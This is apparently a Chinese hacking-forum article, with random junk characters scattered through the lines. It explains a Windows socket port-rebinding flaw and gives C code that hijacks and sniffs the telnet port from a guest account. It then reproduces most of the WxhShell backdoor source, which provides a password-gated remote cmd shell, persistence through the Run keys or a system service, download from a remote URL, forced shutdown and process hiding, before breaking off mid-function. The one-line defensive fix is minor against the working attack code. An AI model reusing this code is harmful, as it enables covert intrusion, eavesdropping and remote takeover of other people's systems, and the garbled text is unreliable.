在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
5BU%%fBJ. s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
[ZKtbPHb Txt%nzIu saddr.sin_family = AF_INET;
E/~"j *>aZc:: saddr.sin_addr.s_addr = htonl(INADDR_ANY);
>[|GC/C L}}=yh6r bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
i'W_;Y} d; mmM\3] 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
ASKAgU"h ?qg^WDs$ 这意味着什么?意味着可以进行如下的攻击:
`26V`%bPkr 9h:jFhsA9 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
#~H%[s a }osHA`x"2 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
p^KlH=1n.6 5q5 )uv" 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
%[]"QbF? MkG`w, 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
c*x J=Gz6d 6R 1wn&8 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
V!T^wh; k^H0b\hYY 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
zwM"`z O.@g/05C 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
1MbY7!?PG `zdH1 p^w #include
=
n+q_.A #include
A Gv!c($ #include
>I$B= #include
{0is wq'J DWORD WINAPI ClientThread(LPVOID lpParam);
`Y\gSUhzS int main()
$Y8>_6%+T {
oN *SRaAp WORD wVersionRequested;
v<L=!-b^ DWORD ret;
^I]LoG: WSADATA wsaData;
B$cOssl BOOL val;
kUNj4xp) SOCKADDR_IN saddr;
CQ@LmTW[ SOCKADDR_IN scaddr;
Q;4}gUmI$ int err;
>%-Hj6% SOCKET s;
%lN2n,AK SOCKET sc;
Rw{$L~\ int caddsize;
o^HNF+sm HANDLE mt;
TqIAWbb& DWORD tid;
!n|#|.0m wVersionRequested = MAKEWORD( 2, 2 );
):e+dt err = WSAStartup( wVersionRequested, &wsaData );
/+>)"D6' if ( err != 0 ) {
k/% #> printf("error!WSAStartup failed!\n");
kW#S]fsfU return -1;
e"]"F{Q }
1Fv8T' saddr.sin_family = AF_INET;
0s1'pA' >^dyQyK //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
k!T|)\nc+ Odm#wL~E saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
)D;*DUtMVm saddr.sin_port = htons(23);
3filAGR? if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
^7.XGWQ)- {
n|WfaJQZ printf("error!socket failed!\n");
Z .quh; return -1;
ny)]GvxI }
hR-K@fS%l' val = TRUE;
$*k)|4 //SO_REUSEADDR选项就是可以实现端口重绑定的
3?Lgtkb8 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
Pg`JQC| {
Y,C=@t@_ printf("error!setsockopt failed!\n");
-;$nb~y return -1;
tR1FO%nC }
%`e`g ^ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
$_sYfU9 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
6JhMkB^h //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
D|l,08n"? K1OkZ6kl if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
(ew}
gJ {
K/^
+eoW( ret=GetLastError();
)n( Q printf("error!bind failed!\n");
&R,9+c return -1;
3Hw[s0[$ }
e # 5BPI listen(s,2);
?R|th Z while(1)
xST4}Mb^f {
\:Za[6 caddsize = sizeof(scaddr);
h./P\eDc //接受连接请求
e`iEy=W sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
<*<U!J-i if(sc!=INVALID_SOCKET)
hd2'AlB {
%?9Ok mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
:_xh(W+2< if(mt==NULL)
E=AVrv5T {
/aY pIMi9} printf("Thread Creat Failed!\n");
gzf-)J break;
)6-9)pH@) }
Q =#I9- }
+BL{@,zr CloseHandle(mt);
]a?bzOr, }
;JT(3yK4>p closesocket(s);
E7nFb:zlV WSACleanup();
/7/0x ./{ return 0;
<??umkV }
D."=k{r. DWORD WINAPI ClientThread(LPVOID lpParam)
<{Q'&T {
QM'X@ SOCKET ss = (SOCKET)lpParam;
[=uIb._Wv SOCKET sc;
z wk.bf>m unsigned char buf[4096];
8Lz]Z
h=ZU SOCKADDR_IN saddr;
z-r2!^q27 long num;
[syj# DWORD val;
]*N1t>fb DWORD ret;
2eb1lJdS //如果是隐藏端口应用的话,可以在此处加一些判断
,<`)>2 'o //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Ak@Dyi?p saddr.sin_family = AF_INET;
28I^$> [ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
h4)Bs\==mT saddr.sin_port = htons(23);
w0lT%CPx if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
`@Oa lg {
`<frgXu64 printf("error!socket failed!\n");
33Az$GXFsq return -1;
n3KI+I%nQ }
;9a 6pz< val = 100;
Bc5+ss if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
l\OLyQ {
cU.9}-) ret = GetLastError();
vB'>[jvA| return -1;
L|j%S }
?C-Towo=i if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
";SiL{Z {
P-`(0M7^ ret = GetLastError();
g}LAks return -1;
xc@Ss[ }
C[sh, if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
dT|vYK}\ {
O+q/4 printf("error!socket connect failed!\n");
}H> ^o9 closesocket(sc);
h^UKT`9vt closesocket(ss);
&7e)O= return -1;
]=pR }
*ISZlR\# while(1)
\3f&7wU {
w"Y` ]2 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
, t5 ' //如果是嗅探内容的话,可以再此处进行内容分析和记录
{i0SS //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
r!1D*v5&: num = recv(ss,buf,4096,0);
i%m"@7.kk if(num>0)
Pz*_)N}j > send(sc,buf,num,0);
/AY4M;}p else if(num==0)
"hxN !,DEZ break;
+ZMls
[ num = recv(sc,buf,4096,0);
B%CTOi if(num>0)
H,3\0BKk send(ss,buf,num,0);
nn/?fIZN4 else if(num==0)
%
2$/JZ break;
{9Y+.46S }
&Mq~T_S closesocket(ss);
l/TjQ* closesocket(sc);
2WX7nK;I return 0 ;
zi R5:d3 }
!U9|x\BqJ2 o8/;;* N'r3`8tS ==========================================================
d@`M
CchCB 0.T4{JS# 下边附上一个代码,,WXhSHELL
0sN.H= gVQjL+_W ==========================================================
IW 21T X[`bMa7IB( #include "stdafx.h"
SDu#Yt&mhh j
8*ZF #include <stdio.h>
S}APQ #include <string.h>
jK \T|vGJa #include <windows.h>
/| #&px)G #include <winsock2.h>
p' M%XBu #include <winsvc.h>
J)P$2# #include <urlmon.h>
O+g3X5f+ ee%fqVQ8P #pragma comment (lib, "Ws2_32.lib")
06$!R/K #pragma comment (lib, "urlmon.lib")
:RoBl3X= B<j'm0a>B #define MAX_USER 100 // 最大客户端连接数
JkW9D)6 #define BUF_SOCK 200 // sock buffer
GKN%Tv:D_ #define KEY_BUFF 255 // 输入 buffer
=t6z \WB =FE|+!>PA #define REBOOT 0 // 重启
:ba5iMa #define SHUTDOWN 1 // 关机
me[DmiM, M\yT).>z #define DEF_PORT 5000 // 监听端口
aW>6NDq( /~ x"wo #define REG_LEN 16 // 注册表键长度
Yjx|9_|Xn #define SVC_LEN 80 // NT服务名长度
z9aY]lHY \[Z?& // 从dll定义API
W 4F \}A typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
XC.%za8 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
]`Oo%$Ue typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
]XI*Wsn typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
m1Y>Nj[f ^^5&QSB:' // wxhshell配置信息
g!-,] struct WSCFG {
6/rFHY2q int ws_port; // 监听端口
HttiX/2~ char ws_passstr[REG_LEN]; // 口令
P2bZ65>3y int ws_autoins; // 安装标记, 1=yes 0=no
27;ci:5 char ws_regname[REG_LEN]; // 注册表键名
foQ#a char ws_svcname[REG_LEN]; // 服务名
hWX% 66 char ws_svcdisp[SVC_LEN]; // 服务显示名
N!g9*Z char ws_svcdesc[SVC_LEN]; // 服务描述信息
lT(oL|{#P char ws_passmsg[SVC_LEN]; // 密码输入提示信息
_cXqAo[V int ws_downexe; // 下载执行标记, 1=yes 0=no
S#+h$UVh char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
F7Zwh5W char ws_filenam[SVC_LEN]; // 下载后保存的文件名
hZ.Z3`v70 .k,kTr$S };
T<XA8h* L'F<ev // default Wxhshell configuration
V O3x~E struct WSCFG wscfg={DEF_PORT,
TA{\PKA) "xuhuanlingzhe",
3D2E?$dX 1,
@HOBRRm` "Wxhshell",
?mwD*LN3o "Wxhshell",
M@5?ZZ4L "WxhShell Service",
B[KJR?> "Wrsky Windows CmdShell Service",
,v{rCxFtvU "Please Input Your Password: ",
,lyb!k8 1,
kXf'5p1 "
http://www.wrsky.com/wxhshell.exe",
&}A[x1x06) "Wxhshell.exe"
uuQ(& };
1R,: >(;{C<6|^ // 消息定义模块
rYbpih=x char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
0PWg;>^' char *msg_ws_prompt="\n\r? for help\n\r#>";
\Cii1\R= char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
<N%7|t*eT char *msg_ws_ext="\n\rExit.";
~m$Y$,uH char *msg_ws_end="\n\rQuit.";
Xwhui4'w char *msg_ws_boot="\n\rReboot...";
8|" XSN char *msg_ws_poff="\n\rShutdown...";
?#45wC char *msg_ws_down="\n\rSave to ";
Y*14v~\' @~%r5pz6 char *msg_ws_err="\n\rErr!";
xftBSdVE char *msg_ws_ok="\n\rOK!";
CY"/uSB `5C,N!d8X char ExeFile[MAX_PATH];
f`;j:O int nUser = 0;
\v.C]{Gzc HANDLE handles[MAX_USER];
9.a3&*tV[ int OsIsNt;
:n.f_v}6 (3{YM( SERVICE_STATUS serviceStatus;
=A!@6Nw SERVICE_STATUS_HANDLE hServiceStatusHandle;
=Q+=
f (}EB2V9Hh // 函数声明
2M68CE int Install(void);
^7 &5
z&o int Uninstall(void);
}}>q2y int DownloadFile(char *sURL, SOCKET wsh);
d+Ek%_ int Boot(int flag);
$0lD>yu void HideProc(void);
9+{G8$Ai int GetOsVer(void);
Y[$!`);Ye int Wxhshell(SOCKET wsl);
"F.;Dv9V[0 void TalkWithClient(void *cs);
83Q4On int CmdShell(SOCKET sock);
RkBb$q9F] int StartFromService(void);
:QB<?HaS' int StartWxhshell(LPSTR lpCmdLine);
fM^qQM[lG D-4f > VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
fi$-;Gz VOID WINAPI NTServiceHandler( DWORD fdwControl );
#>mr[ f,:9N 5Z // 数据结构和表定义
p|&Yku= SERVICE_TABLE_ENTRY DispatchTable[] =
j{9D{ {
S>]pRV9rT {wscfg.ws_svcname, NTServiceMain},
glF; eT {NULL, NULL}
h >s!K9 };
)XzI
#iQ
?l^1 *Q, // 自我安装
U~j
^I^ int Install(void)
twlk-2yT! {
MgNU`` char svExeFile[MAX_PATH];
Ksy -e{n HKEY key;
dK2p7xo strcpy(svExeFile,ExeFile);
T3pmVl kMt 8/ E` // 如果是win9x系统,修改注册表设为自启动
.sj^{kGE if(!OsIsNt) {
a8 mVFm if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
XAe%m^ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
s8#X3Rp RegCloseKey(key);
nw<&3k(g} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
~ ArP9
K" RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
~;&m*2
|V RegCloseKey(key);
)8UWhl= return 0;
Oms. e }
t{WzKy }
x`dHJq`_g }
+[tE ^`-F else {
Y5FbU S&\L-@ // 如果是NT以上系统,安装为系统服务
eZdu2.;< SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
=<X?sj5 if (schSCManager!=0)
[zlN!.Z {
0 rXx RQ SC_HANDLE schService = CreateService
J~1r{5V4{ (
(Xq)p y9 schSCManager,
r.>].~}4 wscfg.ws_svcname,
d)R:9M}v wscfg.ws_svcdisp,
.72S o T SERVICE_ALL_ACCESS,
l: <?{)N` SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Qkd<sxL SERVICE_AUTO_START,
zOqn<Y@ SERVICE_ERROR_NORMAL,
S<WdZ=8sA svExeFile,
I]Dl / NULL,
lq> +~zX{ NULL,
R&Jm
+3N NULL,
pm\x~3jHs NULL,
3`B6w$z>( NULL
.$%Soyr?, );
2#<xAR if (schService!=0)
I*IhwJFl/ {
_',prZ* CloseServiceHandle(schService);
`(f!*Ru@/z CloseServiceHandle(schSCManager);
bD[!/'4eJ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
HN.3 strcat(svExeFile,wscfg.ws_svcname);
dz*7gL;7G if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
M\Z6$<H?U RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
k7>|q"0C RegCloseKey(key);
B,K>rCZ/ return 0;
f~dd3m(' }
YE= q:Bv }
%ix)8+Eb CloseServiceHandle(schSCManager);
}*ZHgf]~# }
FFH_d <q }
Qum9A +H9 >A0JF return 1;
IZ=Mlu }
ltgc:&=|@ \L(*]:EP // 自我卸载
L. EiO({W int Uninstall(void)
mFSw@CC {
gx&Tt HKEY key;
n[]tXrhU AwTJJ0> if(!OsIsNt) {
z%e8K( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
B';6r4I- RegDeleteValue(key,wscfg.ws_regname);
2A\,-*pc RegCloseKey(key);
LNa $
X5` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
;Wl+zw RegDeleteValue(key,wscfg.ws_regname);
CWNx4)ZGw RegCloseKey(key);
Y;e,Gq` return 0;
Nof3F/2 N& }
66'?&Xx' }
BWM YpZom }
>9f%@uSM$3 else {
sL@U .'rW.'Ft SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
7yx$Nn`( if (schSCManager!=0)
gF0q@M y~ {
,N
e;kI SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
i@B[ eta if (schService!=0)
EM/@T} {
\MmI`$ if(DeleteService(schService)!=0) {
GQl$yZaK{ CloseServiceHandle(schService);
^kgBa2 7 CloseServiceHandle(schSCManager);
KMV=%o return 0;
TD9;kN1` }
MzP7Py
8. CloseServiceHandle(schService);
PNA\ TXT }
c=
x,ijY
" CloseServiceHandle(schSCManager);
|0\0a&tkPl }
mCWhUBghR }
6}(J6T46M[ v0kqu return 1;
Ik[s }
LS5vW|]w tBm_YP[ // 从指定url下载文件
F! X}(N?t int DownloadFile(char *sURL, SOCKET wsh)
=1u@7Bh {
\y88d4zX HRESULT hr;
Sje wuIi1 char seps[]= "/";
1tJg#/? char *token;
<n:}kQTT char *file;
&tZG
@ char myURL[MAX_PATH];
v"MX>^/< char myFILE[MAX_PATH];
dDD<E?TjD 'Vr$MaO strcpy(myURL,sURL);
LFZiPu token=strtok(myURL,seps);
nZ_v/?O while(token!=NULL)
iz~
pGkt {
YqV8D&I file=token;
c=;:R0_'t token=strtok(NULL,seps);
r,]#b[:.s| }
VN'Wq7>6 .,i(2^ GetCurrentDirectory(MAX_PATH,myFILE);
9M /SH$Qy strcat(myFILE, "\\");
`$YP<CJeq strcat(myFILE, file);
enTW0U} send(wsh,myFILE,strlen(myFILE),0);
8$c bVMjh send(wsh,"...",3,0);
X>I)~z}9# hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
kip`Myw+ if(hr==S_OK)
e* return 0;
lg}HGG else
ycJg%]F*5 return 1;
S|zW^|YU j.i#*tN// }
m3^/:< ;c-3g] // 系统电源模块
ZCVl5R(mZ int Boot(int flag)
f7hXQ|$ {
\]Dt4o*yZ HANDLE hToken;
}K(o9$V ^! TOKEN_PRIVILEGES tkp;
d"U(`E=H9 o+?rI
p if(OsIsNt) {
A
K/z6XGy OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
}sxn72, LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
.A1\J@b tkp.PrivilegeCount = 1;
.5Q:Xp tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
jAND7&W AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
v8I{XU@% if(flag==REBOOT) {
~/IexQB& if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
tVqmn return 0;
zQH]s?v }
RiO="tX' else {
me\cLFw if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
nMoWOP' return 0;
R<zG^m }
m=b~i^@ }
]]cYLaq( else {
Ae?e 70bY if(flag==REBOOT) {
-qe bQv if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
uu%?K@Qq return 0;
}~o
ikN: }
QMk+RM8U else {
(_9|w|( if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
YCw('i(| return 0;
!Zbesp KZ }
y~F<9;$= }
!U BVPR* d<@Mdo<;?g return 1;
>WM3| }
?Ay3u^X ~F#A
Pt // win9x进程隐藏模块
gvnj&h.GV void HideProc(void)
o6?l/nJ {
(:Cc3 ggou*;' HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
4VIg>EL* if ( hKernel != NULL )
B50 [O! {
@+^c"=d1S pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
acOJ]] ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
'1]7zWbW FreeLibrary(hKernel);
u fw cF* }
BDpF} " OGdE_E return;
viuiqs5[Bi }
*\LyNL( wO"GtVd // 获取操作系统版本
q{X T int GetOsVer(void)
DuF7HTN[K {
3 C"_$?y" OSVERSIONINFO winfo;
B
<+K<,S winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
#'>?:k GetVersionEx(&winfo);
4uX(_5#j if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
~tNY"{OV# return 1;
<F=Dj*] else
ck$2Ue2`@w return 0;
}
gkP }
uu>lDvR* ,QS'$n // 客户端句柄模块
b}%g}L D int Wxhshell(SOCKET wsl)
79z)C35~ {
BPWnck=% SOCKET wsh;
99KVtgPm struct sockaddr_in client;
d~<QAh#rG DWORD myID;
sA\L7`2H ?f@ 9n ph while(nUser<MAX_USER)
%FlA":W {
B+Q+0tw*i int nSize=sizeof(client);
hb! ln7 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
;\s~%~\ if(wsh==INVALID_SOCKET) return 1;
a*Jn#Mx<M C|$L6n>DR6 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
0IFlEe[># if(handles[nUser]==0)
tzNaw %\ closesocket(wsh);
O!];_q/ else
L *{QjH nUser++;
3`rIV*&_{ }
y.fs,!|%@ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
A^cU$V%?W 3"vRK5Bf return 0;
&GU@8 }
8;8YA1@w od(:Y(4 // 关闭 socket
*N'hA5.z void CloseIt(SOCKET wsh)
u0'i!@795 {
[Gf{f\O
closesocket(wsh);
4
iKR{P6 nUser--;
(h|ch# ExitThread(0);
JE9>8+ }
Ft$^x-d lDlj+fK // 客户端请求句柄
dQ`:8SK void TalkWithClient(void *cs)
3/l\ <{ {
u&tFb]1@) :4iU^6 SOCKET wsh=(SOCKET)cs;
"SLvUzO>q char pwd[SVC_LEN];
jPpRsw> char cmd[KEY_BUFF];
E\_W char chr[1];
EFwL.'Fh int i,j;
&!6DC5 $mD>rx while (nUser < MAX_USER) {
s1Okoxh/!V r/^tzH's if(wscfg.ws_passstr) {
1GUqT 9) if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
joY1(Y //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
+!Q!m 3/I //ZeroMemory(pwd,KEY_BUFF);
:;q>31:h i=0;
:4{Qh while(i<SVC_LEN) {
XL&hs+Y 2q/nAQ+ // 设置超时
0Ux<16# fd_set FdRead;
T6,V struct timeval TimeOut;
T^N L:78 FD_ZERO(&FdRead);
|GuKU! FD_SET(wsh,&FdRead);
yV8- TimeOut.tv_sec=8;
8znj~7}# TimeOut.tv_usec=0;
K q/~T7Ru int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
7TnM4@*f if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
@T5YsX]qb7 L#`7 FaM? if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
ZU)BJ!L,s pwd
=chr[0];
g;(_Y1YQ
if(chr[0]==0xd || chr[0]==0xa) { Fgskb"k/
pwd=0; HgYc@P*b
break; y#&$f
} v'h3CaA9j
i++; @X
K>
} L7s>su|c(
.4Iw=T_
// 如果是非法用户,关闭 socket -QN1oK@\mE
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )\0Ug7]?
} (QhGxuC
} /[_
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); U?JiVxE^
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (W7;}g ysh
||yXp2
while(1) { aB=vu=hF
1d/NZJ9
ZeroMemory(cmd,KEY_BUFF); 6 #-6Bh)>4
N 9c8c
// 自动支持客户端 telnet标准 j?Cr31
j=0; C usVW
while(j<KEY_BUFF) { fL(':W&n-
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c"sj)-_
cmd[j]=chr[0]; C(EYM$
if(chr[0]==0xa || chr[0]==0xd) { D/gd
cmd[j]=0; f-vZ2+HP
break;
o G(0i
} aUKh})B
j++; |P^]@om
} +R2^*
*<
A
Z4|&iT
// 下载文件 Ko1AaX(I'+
if(strstr(cmd,"http://")) { [u/zrpTk
send(wsh,msg_ws_down,strlen(msg_ws_down),0); !S~,>,yd
if(DownloadFile(cmd,wsh)) <P+G7!KZ&
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6W)xj6<@
else A)hq0FPp
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /1IvLdPIu
} fn1 ?Qp|
else { DkDw>Nx<rs
!T<z'zZU
switch(cmd[0]) { kb/|;!
v9Z lNA7m!
// 帮助 f>/ 1KV
case '?': { m`q>_*
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !!O{ ppM
break; y1My,
?"?
} TZyQOjUu
// 安装 JwVC?m).
case 'i': { {^MAdC_
if(Install()) nGgc~E$j
send(wsh,msg_ws_err,strlen(msg_ws_err),0); U`_vF~el~
else }lpm Hvs
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W&f Py%g
break; .p~;U|h"
} HMd )64(
// 卸载 -gGK(PIf
case 'r': { R+hS;F nh%
if(Uninstall()) 8'Bl=C|0X
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^Es)?>eah
else [F{a-i-
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2e@\6l,!^
break; 8\
;G+
} |L{dQ)-'l
// 显示 wxhshell 所在路径 7lPk~0
case 'p': { =,G(1#
char svExeFile[MAX_PATH]; V46[whL%r
strcpy(svExeFile,"\n\r"); !Qa7-
strcat(svExeFile,ExeFile); K"$ky,tU
send(wsh,svExeFile,strlen(svExeFile),0); n(S-F g
break; {;M/J
} %,D%Q~
// 重启 Y!$z7K
case 'b': { :E`l(sI7J}
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);
(HKm2JuFG
if(Boot(REBOOT)) Gn4b\y%%
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7N=VVD~!b
else { =@XR$Uud6
closesocket(wsh);
`.WKU"To
ExitThread(0); mLA$F4/K
} nDw9
break; gg_(%.>
}
PQ]N>'v-
// 关机 +@7R,8
case 'd': { ~J:lCu
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )!72^rl
if(Boot(SHUTDOWN)) boovCW
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8;3FTF
else { >UH=]$0N
closesocket(wsh); qChPT :a
ExitThread(0); TA7w:<
} 3I(H.u
break; k{62UaL.
} v8N1fuP}
// 获取shell 5w3'yA<vE
case 's': { g'E^@1{
CmdShell(wsh); r; !us~
closesocket(wsh); n1h+`nsf
ExitThread(0); pUx@ QyrI
break; enM 3
} H;`@SJBf
// 退出 P6rL;_~e
case 'x': { a3[aXe
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); q 9^r2OO
CloseIt(wsh); )DMbO"7
break; je\UfEo%
} nor`w,2VF
// 离开 4 @h6|=
case 'q': { @P/{x@J
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0)#I5tEre
closesocket(wsh); M Cz3RZK
WSACleanup(); R?R6|4
exit(1); kJ
>B)
break; ( ;q$cKy
} f,*e?9@;s
} 0vEa]ljS
} JaEyVe
qSR
%#
// 提示信息 DpAuI w7|
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I|hG"i
} ^`$KN0PY
} =Ur/v'm
bbnAmZ
return; F-t-d1w6
} =y
ff.3mW\
hH~Z hB
// shell模块句柄 mtp[]
int CmdShell(SOCKET sock) k58lmuU
{ /D~:Ufw
STARTUPINFO si; iJAW| dw}
ZeroMemory(&si,sizeof(si)); +VfJ:[q
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >13= 4S
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ITTC}
PROCESS_INFORMATION ProcessInfo; 8K$:9+OY
char cmdline[]="cmd"; OTzh=Z^r
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7be?=c)+"
return 0; SU:Cm:$
} NWf!c-':
b]Jh0B~Y
// 自身启动模式 v/)dsSNZ0u
int StartFromService(void) (mycUU%
{ IV\@GM:ait
typedef struct NLj0\Pz|B
{ @0aUWG!k
DWORD ExitStatus; h/X),aK3
DWORD PebBaseAddress; UJQ!~g.y]
DWORD AffinityMask; P5Fm<f8\
DWORD BasePriority; 7XZ!UC;i
